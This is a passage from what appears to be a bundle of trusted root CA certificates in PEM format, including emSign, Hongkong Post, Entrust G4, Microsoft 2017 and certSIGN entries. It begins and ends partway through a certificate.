dGlnbmEuZnIvYXV0b3JpdGVzLzBtBgNVHR8EZjBkMC+gLaArhilodHRwOi8vY3JsLmNlcnRpZ25h LmZyL2NlcnRpZ25hcm9vdGNhLmNybDAxoC+gLYYraHR0cDovL2NybC5kaGlteW90aXMuY29tL2Nl cnRpZ25hcm9vdGNhLmNybDANBgkqhkiG9w0BAQsFAAOCAgEAlLieT/DjlQgi581oQfccVdV8AOIt OoldaDgvUSILSo3L6btdPrtcPbEo/uRTVRPPoZAbAh1fZkYJMyjhDSSXcNMQH+pkV5a7XdrnxIxP TGRGHVyH41neQtGbqH6mid2PHMkwgu07nM3A6RngatgCdTer9zQoKJHyBApPNeNgJgH60BGM+RFq 7q89w1DTj18zeTyGqHNFkIwgtnJzFyO+B2XleJINugHA64wcZr+shncBlA2c5uk5jR+mUYyZDDl3 4bSb+hxnV29qao6pK0xXeXpXIs/NX2NGjVxZOob4Mkdio2cNGJHc+6Zr9UhhcyNZjgKnvETq9Emd 8VRY+WCv2hikLyhF3HqgiIZd8zvn/yk1gPxkQ5Tm4xxvvq0OKmOZK8l+hfZx6AYDlf7ej0gcWtSS 6Cvu5zHbugRqh5jnxV/vfaci9wHYTfmJ0A6aBVmknpjZbyvKcL5kwlWj9Omvw5Ip3IgWJJk8jSaY tlu3zM63Nwf9JtmYhST/WSMDmu2dnajkXjjO11INb9I/bbEFa0nOipFGc/T2L/Coc3cOZayhjWZS aX5LaAzHHjcng6WMxwLkFM1JAbBzs/3GkDpv0mztO+7skb6iQ12LAEpmJURw3kAP+HwV96LOPNde E4yBFxgX0b3xdxA61GU5wSesVywlVP+i2k+KYTlerj1KjL0= -----END CERTIFICATE----- emSign Root CA - G1 =================== -----BEGIN CERTIFICATE----- MIIDlDCCAnygAwIBAgIKMfXkYgxsWO3W2DANBgkqhkiG9w0BAQsFADBnMQswCQYDVQQGEwJJTjET MBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRl ZDEcMBoGA1UEAxMTZW1TaWduIFJvb3QgQ0EgLSBHMTAeFw0xODAyMTgxODMwMDBaFw00MzAyMTgx ODMwMDBaMGcxCzAJBgNVBAYTAklOMRMwEQYDVQQLEwplbVNpZ24gUEtJMSUwIwYDVQQKExxlTXVk aHJhIFRlY2hub2xvZ2llcyBMaW1pdGVkMRwwGgYDVQQDExNlbVNpZ24gUm9vdCBDQSAtIEcxMIIB IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAk0u76WaK7p1b1TST0Bsew+eeuGQzf2N4aLTN LnF115sgxk0pvLZoYIr3IZpWNVrzdr3YzZr/k1ZLpVkGoZM0Kd0WNHVO8oG0x5ZOrRkVUkr+PHB1 cM2vK6sVmjM8qrOLqs1D/fXqcP/tzxE7lM5OMhbTI0Aqd7OvPAEsbO2ZLIvZTmmYsvePQbAyeGHW DV/D+qJAkh1cF+ZwPjXnorfCYuKrpDhMtTk1b+oDafo6VGiFbdbyL0NVHpENDtjVaqSW0RM8LHhQ 6DqS0hdW5TUaQBw+jSztOd9C4INBdN+jzcKGYEho42kLVACL5HZpIQ15TjQIXhTCzLG3rdd8cIrH hQIDAQABo0IwQDAdBgNVHQ4EFgQU++8Nhp6w492pufEhF38+/PB3KxowDgYDVR0PAQH/BAQDAgEG MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggEBAFn/8oz1h31xPaOfG1vR2vjTnGs2 vZupYeveFix0PZ7mddrXuqe8QhfnPZHr5X3dPpzxz5KsbEjMwiI/aTvFthUvozXGaCocV685743Q NcMYDHsAVhzNixl03r4PEuDQqqE/AjSxcM6dGNYIAwlG7mDgfrbESQRRfXBgvKqy/3lyeqYdPV8q +Mri/Tm3R7nrft8EI6/6nAYH6ftjk4BAtcZsCjEozgyfz7MjNYBBjWzEN3uBL4ChQEKF6dk4jeih U80Bv2noWgbyRQuQ+q7hv53yrlc8pa6yVvSLZUDp/TGBLPQ5Cdjua6e0ph0VpZj3AYHYhX3zUVxx iN66zB+Afko= -----END CERTIFICATE----- emSign ECC Root CA - G3 ======================= -----BEGIN CERTIFICATE----- MIICTjCCAdOgAwIBAgIKPPYHqWhwDtqLhDAKBggqhkjOPQQDAzBrMQswCQYDVQQGEwJJTjETMBEG A1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEg MB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0gRzMwHhcNMTgwMjE4MTgzMDAwWhcNNDMwMjE4 MTgzMDAwWjBrMQswCQYDVQQGEwJJTjETMBEGA1UECxMKZW1TaWduIFBLSTElMCMGA1UEChMcZU11 ZGhyYSBUZWNobm9sb2dpZXMgTGltaXRlZDEgMB4GA1UEAxMXZW1TaWduIEVDQyBSb290IENBIC0g RzMwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQjpQy4LRL1KPOxst3iAhKAnjlfSU2fySU0WXTsuwYc 58Byr+iuL+FBVIcUqEqy6HyC5ltqtdyzdc6LBtCGI79G1Y4PPwT01xySfvalY8L1X44uT6EYGQIr MgqCZH0Wk9GjQjBAMB0GA1UdDgQWBBR8XQKEE9TMipuBzhccLikenEhjQjAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNpADBmAjEAvvNhzwIQHWSVB7gYboiFBS+D CBeQyh+KTOgNG3qxrdWBCUfvO6wIBHxcmbHtRwfSAjEAnbpV/KlK6O3t5nYBQnvI+GDZjVGLVTv7 jHvrZQnD+JbNR6iC8hZVdyR+EhCVBCyj -----END CERTIFICATE----- emSign Root CA - C1 =================== -----BEGIN CERTIFICATE----- MIIDczCCAlugAwIBAgILAK7PALrEzzL4Q7IwDQYJKoZIhvcNAQELBQAwVjELMAkGA1UEBhMCVVMx EzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQDExNlbVNp Z24gUm9vdCBDQSAtIEMxMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowVjELMAkGA1UE BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMRwwGgYDVQQD ExNlbVNpZ24gUm9vdCBDQSAtIEMxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAz+up ufGZBczYKCFK83M0UYRWEPWgTywS4/oTmifQz/l5GnRfHXk5/Fv4cI7gklL35CX5VIPZHdPIWoU/ Xse2B+4+wM6ar6xWQio5JXDWv7V7Nq2s9nPczdcdioOl+yuQFTdrHCZH3DspVpNqs8FqOp099cGX OFgFixwR4+S0uF2FHYP+eF8LRWgYSKVGczQ7/g/IdrvHGPMF0Ybzhe3nudkyrVWIzqa2kbBPrH4V I5b2P/AgNBbeCsbEBEV5f6f9vtKppa+cxSMq9zwhbL2vj07FOrLzNBL834AaSaTUqZX3noleooms lMuoaJuvimUnzYnu3Yy1aylwQ6BpC+S5DwIDAQABo0IwQDAdBgNVHQ4EFgQU/qHgcB4qAzlSWkK+ XJGFehiqTbUwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQAD ggEBAMJKVvoVIXsoounlHfv4LcQ5lkFMOycsxGwYFYDGrK9HWS8mC+M2sO87/kOXSTKZEhVb3xEp /6tT+LvBeA+snFOvV71ojD1pM/CjoCNjO2RnIkSt1XHLVip4kqNPEjE2NuLe/gDEo2APJ62gsIq1 NnpSob0n9CAnYuhNlCQT5AoE6TyrLshDCUrGYQTlSTR+08TI9Q/Aqum6VF7zYytPT1DU/rl7mYw9 wC68AivTxEDkigcxHpvOJpkT+xHqmiIMERnHXhuBUDDIlhJu58tBf5E7oke3VIAb3ADMmpDqw8NQ BmIMMMAVSKeoWXzhriKi4gp6D/piq1JM4fHfyr6DDUI= -----END CERTIFICATE----- emSign ECC Root CA - C3 ======================= -----BEGIN CERTIFICATE----- MIICKzCCAbGgAwIBAgIKe3G2gla4EnycqDAKBggqhkjOPQQDAzBaMQswCQYDVQQGEwJVUzETMBEG A1UECxMKZW1TaWduIFBLSTEUMBIGA1UEChMLZU11ZGhyYSBJbmMxIDAeBgNVBAMTF2VtU2lnbiBF Q0MgUm9vdCBDQSAtIEMzMB4XDTE4MDIxODE4MzAwMFoXDTQzMDIxODE4MzAwMFowWjELMAkGA1UE BhMCVVMxEzARBgNVBAsTCmVtU2lnbiBQS0kxFDASBgNVBAoTC2VNdWRocmEgSW5jMSAwHgYDVQQD ExdlbVNpZ24gRUNDIFJvb3QgQ0EgLSBDMzB2MBAGByqGSM49AgEGBSuBBAAiA2IABP2lYa57JhAd 6bciMK4G9IGzsUJxlTm801Ljr6/58pc1kjZGDoeVjbk5Wum739D+yAdBPLtVb4OjavtisIGJAnB9 SMVK4+kiVCJNk7tCDK93nCOmfddhEc5lx/h//vXyqaNCMEAwHQYDVR0OBBYEFPtaSNCAIEDyqOkA B2kZd6fmw/TPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gA MGUCMQC02C8Cif22TGK6Q04ThHK1rt0c3ta13FaPWEBaLd4gTCKDypOofu4SQMfWh0/434UCMBwU ZOR8loMRnLDRWmFLpg9J0wD8ofzkpf9/rdcw0Md3f76BB1UwUCAU9Vc4CqgxUQ== -----END CERTIFICATE----- Hongkong Post Root CA 3 ======================= -----BEGIN CERTIFICATE----- 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 dBb9HxEGmpv0 -----END CERTIFICATE----- Entrust Root Certification Authority - G4 ========================================= -----BEGIN CERTIFICATE----- MIIGSzCCBDOgAwIBAgIRANm1Q3+vqTkPAAAAAFVlrVgwDQYJKoZIhvcNAQELBQAwgb4xCzAJBgNV BAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3Qu bmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1 dGhvcml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1 dGhvcml0eSAtIEc0MB4XDTE1MDUyNzExMTExNloXDTM3MTIyNzExNDExNlowgb4xCzAJBgNVBAYT AlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0 L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhv cml0eSAtIEc0MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAsewsQu7i0TD/pZJH4i3D umSXbcr3DbVZwbPLqGgZ2K+EbTBwXX7zLtJTmeH+H17ZSK9dE43b/2MzTdMAArzE+NEGCJR5WIoV 3imz/f3ET+iq4qA7ec2/a0My3dl0ELn39GjUu9CH1apLiipvKgS1sqbHoHrmSKvS0VnM1n4j5pds 8ELl3FFLFUHtSUrJ3hCX1nbB76W1NhSXNdh4IjVS70O92yfbYVaCNNzLiGAMC1rlLAHGVK/XqsEQ e9IFWrhAnoanw5CGAlZSCXqc0ieCU0plUmr1POeo8pyvi73TDtTUXm6Hnmo9RR3RXRv06QqsYJn7 ibT/mCzPfB3pAqoEmh643IhuJbNsZvc8kPNXwbMv9W3y+8qh+CmdRouzavbmZwe+LGcKKh9asj5X xNMhIWNlUpEbsZmOeX7m640A2Vqq6nPopIICR5b+W45UYaPrL0swsIsjdXJ8ITzI9vF01Bx7owVV 7rtNOzK+mndmnqxpkCIHH2E6lr7lmk/MBTwoWdPBDFSoWWG9yHJM6Nyfh3+9nEg2XpWjDrk4JFX8 dWbrAuMINClKxuMrLzOg2qOGpRKX/YAr2hRC45K9PvJdXmd0LhyIRyk0X+IyqJwlN4y6mACXi0mW Hv0liqzc2thddG5msP9E36EYxr5ILzeUePiVSj9/E15dWf10hkNjc0kCAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJ84xFYjwznooHFs6FRM5Og6sb9n MA0GCSqGSIb3DQEBCwUAA4ICAQAS5UKme4sPDORGpbZgQIeMJX6tuGguW8ZAdjwD+MlZ9POrYs4Q jbRaZIxowLByQzTSGwv2LFPSypBLhmb8qoMi9IsabyZIrHZ3CL/FmFz0Jomee8O5ZDIBf9PD3Vht 7LGrhFV0d4QEJ1JrhkzO3bll/9bGXp+aEJlLdWr+aumXIOTkdnrG0CSqkM0gkLpHZPt/B7NTeLUK YvJzQ85BK4FqLoUWlFPUa19yIqtRLULVAJyZv967lDtX/Zr1hstWO1uIAeV8KEsD+UmDfLJ/fOPt jqF/YFOOVZ1QNBIPt5d7bIdKROf1beyAN/BYGW5KaHbwH5Lk6rWS02FREAutp9lfx1/cH6NcjKF+ m7ee01ZvZl4HliDtC3T7Zk6LERXpgUl+b7DUUH8i119lAg2m9IUe2K4GS0qn0jFmwvjO5QimpAKW RGhXxNUzzxkvFMSUHHuk2fCfDrGA4tGeEWSpiBE6doLlYsKA2KSD7ZPvfC+QsDJMlhVoSFLUmQjA JOgc47OlIQ6SwJAfzyBfyjs4x7dtOvPmRLgOMWuIjnDrnBdSqEGULoe256YSxXXfW8AKbnuk5F6G +TaU33fD6Q3AOfF5u0aOq0NZJ7cguyPpVkAh7DE9ZapD8j3fcEThuk0mEDuYn/PIjhs4ViFqUZPT kcpG2om3PVODLAgfi49T3f+sHw== -----END CERTIFICATE----- Microsoft ECC Root Certificate Authority 2017 ============================================= -----BEGIN CERTIFICATE----- MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQswCQYDVQQGEwJV UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQgRUND IFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4 MjMxNjA0WjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYw NAYDVQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQ BgcqhkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZRogPZnZH6 thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYbhGBKia/teQ87zvH2RPUB eMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTIy5lycFIM +Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlf Xu5gKcs68tvWMoQZP3zVL8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaR eNtUjGUBiudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M= -----END CERTIFICATE----- Microsoft RSA Root Certificate Authority 2017 ============================================= -----BEGIN CERTIFICATE----- MIIFqDCCA5CgAwIBAgIQHtOXCV/YtLNHcB6qvn9FszANBgkqhkiG9w0BAQwFADBlMQswCQYDVQQG EwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNyb3NvZnQg UlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwHhcNMTkxMjE4MjI1MTIyWhcNNDIw NzE4MjMwMDIzWjBlMQswCQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9u MTYwNAYDVQQDEy1NaWNyb3NvZnQgUlNBIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcw ggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKW76UM4wplZEWCpW9R2LBifOZNt9GkMml 7Xhqb0eRaPgnZ1AzHaGm++DlQ6OEAlcBXZxIQIJTELy/xztokLaCLeX0ZdDMbRnMlfl7rEqUrQ7e S0MdhweSE5CAg2Q1OQT85elss7YfUJQ4ZVBcF0a5toW1HLUX6NZFndiyJrDKxHBKrmCk3bPZ7Pw7 1VdyvD/IybLeS2v4I2wDwAW9lcfNcztmgGTjGqwu+UcF8ga2m3P1eDNbx6H7JyqhtJqRjJHTOoI+ dkC0zVJhUXAoP8XFWvLJjEm7FFtNyP9nTUwSlq31/niol4fX/V4ggNyhSyL71Imtus5Hl0dVe49F yGcohJUcaDDv70ngNXtk55iwlNpNhTs+VcQor1fznhPbRiefHqJeRIOkpcrVE7NLP8TjwuaGYaRS MLl6IE9vDzhTyzMMEyuP1pq9KsgtsRx9S1HKR9FIJ3Jdh+vVReZIZZ2vUpC6W6IYZVcSn2i51BVr lMRpIpj0M+Dt+VGOQVDJNE92kKz8OMHY4Xu54+OU4UZpyw4KUGsTuqwPN1q3ErWQgR5WrlcihtnJ 0tHXUeOrO8ZV/R4O03QK0dqq6mm4lyiPSMQH+FJDOvTKVTUssKZqwJz58oHhEmrARdlns87/I6KJ ClTUFLkqqNfs+avNJVgyeY+QW5g5xAgGwax/Dj0ApQIDAQABo1QwUjAOBgNVHQ8BAf8EBAMCAYYw DwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUCctZf4aycI8awznjwNnpv7tNsiMwEAYJKwYBBAGC NxUBBAMCAQAwDQYJKoZIhvcNAQEMBQADggIBAKyvPl3CEZaJjqPnktaXFbgToqZCLgLNFgVZJ8og 6Lq46BrsTaiXVq5lQ7GPAJtSzVXNUzltYkyLDVt8LkS/gxCP81OCgMNPOsduET/m4xaRhPtthH80 dK2Jp86519efhGSSvpWhrQlTM93uCupKUY5vVau6tZRGrox/2KJQJWVggEbbMwSubLWYdFQl3JPk +ONVFT24bcMKpBLBaYVu32TxU5nhSnUgnZUP5NbcA/FZGOhHibJXWpS2qdgXKxdJ5XbLwVaZOjex /2kskZGT4d9Mozd2TaGf+G0eHdP67Pv0RR0Tbc/3WeUiJ3IrhvNXuzDtJE3cfVa7o7P4NHmJweDy AmH3pvwPuxwXC65B2Xy9J6P9LjrRk5Sxcx0ki69bIImtt2dmefU6xqaWM/5TkshGsRGRxpl/j8nW ZjEgQRCHLQzWwa80mMpkg/sTV9HB8Dx6jKXB/ZUhoHHBk2dxEuqPiAppGWSZI1b7rCoucL5mxAyE 7+WL85MB+GqQk2dLsmijtWKP6T+MejteD+eMuMZ87zf9dOLITzNy4ZQ5bb0Sr74MTnB8G2+NszKT c0QWbej09+CVgI+WXTik9KveCjCHk9hNAHFiRSdLOkKEW39lt2c0Ui2cFmuqqNh7o0JMcccMyj6D 5KbvtwEwXlGjefVwaaZBRA+GsCyRxj3qrg+E -----END CERTIFICATE----- e-Szigno Root CA 2017 ===================== -----BEGIN CERTIFICATE----- MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNVBAYTAkhVMREw DwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUt MjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJvb3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZa Fw00MjA4MjIxMjA3MDZaMHExCzAJBgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UE CgwNTWljcm9zZWMgTHRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3pp Z25vIFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtvxie+RJCx s1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+HWyx7xf58etqjYzBhMA8G A1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBSHERUI0arBeAyxr87GyZDv vzAEwDAfBgNVHSMEGDAWgBSHERUI0arBeAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEA tVfd14pVCzbhhkT61NlojbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxO svxyqltZ+efcMQ== -----END CERTIFICATE----- certSIGN Root CA G2 =================== -----BEGIN CERTIFICATE----- MIIFRzCCAy+gAwIBAgIJEQA0tk7GNi02MA0GCSqGSIb3DQEBCwUAMEExCzAJBgNVBAYTAlJPMRQw EgYDVQQKEwtDRVJUU0lHTiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjAeFw0xNzAy MDYwOTI3MzVaFw00MjAyMDYwOTI3MzVaMEExCzAJBgNVBAYTAlJPMRQwEgYDVQQKEwtDRVJUU0lH TiBTQTEcMBoGA1UECxMTY2VydFNJR04gUk9PVCBDQSBHMjCCAiIwDQYJKoZIhvcNAQEBBQADggIP ADCCAgoCggIBAMDFdRmRfUR0dIf+DjuW3NgBFszuY5HnC2/OOwppGnzC46+CjobXXo9X69MhWf05 N0IwvlDqtg+piNguLWkh59E3GE59kdUWX2tbAMI5Qw02hVK5U2UPHULlj88F0+7cDBrZuIt4Imfk abBoxTzkbFpG583H+u/E7Eu9aqSs/cwoUe+StCmrqzWaTOTECMYmzPhpn+Sc8CnTXPnGFiWeI8Mg wT0PPzhAsP6CRDiqWhqKa2NYOLQV07YRaXseVO6MGiKscpc/I1mbySKEwQdPzH/iV8oScLumZfNp dWO9lfsbl83kqK/20U6o2YpxJM02PbyWxPFsqa7lzw1uKA2wDrXKUXt4FMMgL3/7FFXhEZn91Qqh ngLjYl/rNUssuHLoPj1PrCy7Lobio3aP5ZMqz6WryFyNSwb/EkaseMsUBzXgqd+L6a8VTxaJW732 jcZZroiFDsGJ6x9nxUWO/203Nit4ZoORUSs9/1F3dmKh7Gc+PoGD4FapUB8fepmrY7+EF3fxDTvf 95xhszWYijqy7DwaNz9+j5LP2RIUZNoQAhVB/0/E6xyjyfqZ90bp4RjZsbgyLcsUDFDYg2WD7rlc z8sFWkz6GZdr1l0T08JcVLwyc6B49fFtHsufpaafItzRUZ6CeWRgKRM+o/1Pcmqr4tTluCRVLERL iohEnMqE0yo7AgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1Ud DgQWBBSCIS1mxteg4BXrzkwJd8RgnlRuAzANBgkqhkiG9w0BAQsFAAOCAgEAYN4auOfyYILVAzOB ywaK8SJJ6ejqkX/GM15oGQOGO0MBzwdw5AgeZYWR5hEit/UCI46uuR59H35s5r0l1ZUa8gWmr4UC b6741jH/JclKyMeKqdmfS0mbEVeZkkMR3rYzpMzXjWR91M08KCy0mpbqTfXERMQlqiCA2ClV9+BB /AYm/7k29UMUA2Z44RGx2iBfRgB4ACGlHgAoYXhvqAEBj500mv/0OJD7uNGzcgbJceaBxXntC6Z5 8hMLnPddDnskk7RI24Zf3lCGeOdA5jGokHZwYa+cNywRtYK3qq4kNFtyDGkNzVmf9nGvnAvRCjj5 BiKDUyUM/FHE5r7iOZULJK2v0ZXkltd0ZGtxTgI8qoXzIKNDOXZbbFD+mpwUHmUUihW9o4JFWklW atKcsWMy5WHgUyIOpwpJ6st+H6jiYoD2EEVSmAYY3qXNL3+q1Ok+CHLsIwMCPKaq2LxndD0UF/tU Sxfj03k9bWtJySgOLnRQvwzZRjoQhsmnP+mg7H/rpXdYaXHmgwo38oZJar55CJD2AhZkPuXaTH4M NMn5X7azKFGnpyuqSfqNZSlO42sTp5SjLVFteAxEy9/eCG/Oo2Sr05WE1LlSVHJ7liXMvGnjSG4N 0MedJ5qq+BOS3R7fY581qRY27Iy4g/Q9iY/NtBde17MXQRBdJ3NghVdJIgc= -----END CERTIFICATE----- Trustwave Global Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIF2jCCA8KgAwIBAgIMBfcOhtpJ80Y1LrqyMA0GCSqGSIb3DQEBCwUAMIGIMQswCQYDVQQGEwJV UzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2 ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTAeFw0xNzA4MjMxOTM0MTJaFw00MjA4MjMxOTM0MTJaMIGIMQswCQYDVQQGEwJV UzERMA8GA1UECAwISWxsaW5vaXMxEDAOBgNVBAcMB0NoaWNhZ28xITAfBgNVBAoMGFRydXN0d2F2 ZSBIb2xkaW5ncywgSW5jLjExMC8GA1UEAwwoVHJ1c3R3YXZlIEdsb2JhbCBDZXJ0aWZpY2F0aW9u IEF1dGhvcml0eTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALldUShLPDeS0YLOvR29 zd24q88KPuFd5dyqCblXAj7mY2Hf8g+CY66j96xz0XznswuvCAAJWX/NKSqIk4cXGIDtiLK0thAf LdZfVaITXdHG6wZWiYj+rDKd/VzDBcdu7oaJuogDnXIhhpCujwOl3J+IKMujkkkP7NAP4m1ET4Bq stTnoApTAbqOl5F2brz81Ws25kCI1nsvXwXoLG0R8+eyvpJETNKXpP7ScoFDB5zpET71ixpZfR9o 